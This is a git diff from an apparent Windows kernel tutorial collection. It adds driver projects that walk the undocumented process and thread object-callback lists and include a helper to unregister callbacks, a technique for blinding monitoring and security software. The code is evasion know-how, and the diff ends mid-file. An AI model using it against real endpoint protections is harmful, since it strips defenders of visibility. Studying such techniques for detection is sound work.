Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.sln" new file mode 100644 index 0000000..e22c6c6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ObRegisterCallbacks_Enum_Remove_Test", "ObRegisterCallbacks_Enum_Remove_Test\ObRegisterCallbacks_Enum_Remove_Test.vcxproj", "{509E5F1F-3ED3-4A64-B799-E865E1F0FF22}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..b7e3432 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..600c3c6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.c" @@ -0,0 +1,41 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ȡ̶ͻص + EnumProcessObCallback(); + + // ȡ̶߳ͻص + EnumThreadObCallback(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..ac4f055 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,80 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ȡ̶ͻص +BOOLEAN EnumProcessObCallback() +{ + POB_CALLBACK pObCallback = NULL; + + // ֱӻȡ CallbackList + LIST_ENTRY CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList; + + // ʼ + pObCallback = (POB_CALLBACK)CallbackList.Flink; + do + { + if (FALSE == MmIsAddressValid(pObCallback)) + { + break; + } + if (NULL != pObCallback->ObHandle) + { + // ʾ + DbgPrint("[PsProcessType]pObCallback->ObHandle = 0x%p\n", pObCallback->ObHandle); + DbgPrint("[PsProcessType]pObCallback->PreCall = 0x%p\n", pObCallback->PreCall); + DbgPrint("[PsProcessType]pObCallback->PostCall = 0x%p\n", pObCallback->PostCall); + } + // ȡһϢ + pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; + + } while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); + + return TRUE; +} + + +// ȡ̶߳ͻص +BOOLEAN EnumThreadObCallback() +{ + POB_CALLBACK pObCallback = NULL; + + // ֱӻȡ CallbackList + LIST_ENTRY CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList; + + // ʼ + pObCallback = (POB_CALLBACK)CallbackList.Flink; + do + { + if (FALSE == MmIsAddressValid(pObCallback)) + { + break; + } + if (NULL != pObCallback->ObHandle) + { + // ʾ + DbgPrint("[PsThreadype]pObCallback->ObHandle = 0x%p\n", pObCallback->ObHandle); + DbgPrint("[PsThreadType]pObCallback->PreCall = 0x%p\n", pObCallback->PreCall); + DbgPrint("[PsThreadType]pObCallback->PostCall = 0x%p\n", pObCallback->PostCall); + } + // ȡһϢ + pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; + + } while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveObCallback(PVOID RegistrationHandle) +{ + ObUnRegisterCallbacks(RegistrationHandle); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..429cc20 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,75 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include +#include + + +typedef struct _OBJECT_TYPE_INITIALIZER +{ + USHORT Length; // Uint2B + UCHAR ObjectTypeFlags; // UChar + ULONG ObjectTypeCode; // Uint4B + ULONG InvalidAttributes; // Uint4B + GENERIC_MAPPING GenericMapping; // _GENERIC_MAPPING + ULONG ValidAccessMask; // Uint4B + ULONG RetainAccess; // Uint4B + POOL_TYPE PoolType; // _POOL_TYPE + ULONG DefaultPagedPoolCharge; // Uint4B + ULONG DefaultNonPagedPoolCharge; // Uint4B + PVOID DumpProcedure; // Ptr64 void + PVOID OpenProcedure; // Ptr64 long + PVOID CloseProcedure; // Ptr64 void + PVOID DeleteProcedure; // Ptr64 void + PVOID ParseProcedure; // Ptr64 long + PVOID SecurityProcedure; // Ptr64 long + PVOID QueryNameProcedure; // Ptr64 long + PVOID OkayToCloseProcedure; // Ptr64 unsigned char +#if (NTDDI_VERSION >= NTDDI_WINBLUE) // Win8.1 + ULONG WaitObjectFlagMask; // Uint4B + USHORT WaitObjectFlagOffset; // Uint2B + USHORT WaitObjectPointerOffset; // Uint2B +#endif +}OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE +{ + LIST_ENTRY TypeList; // _LIST_ENTRY + UNICODE_STRING Name; // _UNICODE_STRING + PVOID DefaultObject; // Ptr64 Void + UCHAR Index; // UChar + ULONG TotalNumberOfObjects; // Uint4B + ULONG TotalNumberOfHandles; // Uint4B + ULONG HighWaterNumberOfObjects; // Uint4B + ULONG HighWaterNumberOfHandles; // Uint4B + OBJECT_TYPE_INITIALIZER TypeInfo; // _OBJECT_TYPE_INITIALIZER + EX_PUSH_LOCK TypeLock; // _EX_PUSH_LOCK + ULONG Key; // Uint4B + LIST_ENTRY CallbackList; // _LIST_ENTRY +}OBJECT_TYPE, *POBJECT_TYPE; + +#pragma pack(1) +typedef struct _OB_CALLBACK +{ + LIST_ENTRY ListEntry; + ULONGLONG Unknown; + HANDLE ObHandle; + PVOID ObTypeAddr; + PVOID PreCall; + PVOID PostCall; +}OB_CALLBACK, *POB_CALLBACK; +#pragma pack() + + +// ȡ̶ͻص +BOOLEAN EnumProcessObCallback(); + +// ȡ̶߳ͻص +BOOLEAN EnumThreadObCallback(); + +// Ƴص +NTSTATUS RemoveObCallback(PVOID RegistrationHandle); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.inf" new file mode 100644 index 0000000..961535a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; ObRegisterCallbacks_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="ObRegisterCallbacks_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..1490af1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {509E5F1F-3ED3-4A64-B799-E865E1F0FF22} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + ObRegisterCallbacks_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..8b8a9f8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..a22fa9b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test/ObRegisterCallbacks_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.sln" new file mode 100644 index 0000000..28d6328 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Enum_Remove_Test/PsSetLoadImageNotifyRoutine_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PsSetLoadImageNotifyRoutine_Enum_Remove_Test", "PsSetLoadImageNotifyRoutine_Enum_Remove_Test\PsSetLoadImageNotifyRoutine_Enum_Remove_Test.vcxproj", "{74FB1E2C-51C4-4CA6-A37F-E10A067A987B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {74FB1E2C-51C4-4CA6-A37F-E10A067A987B}.Win8.1 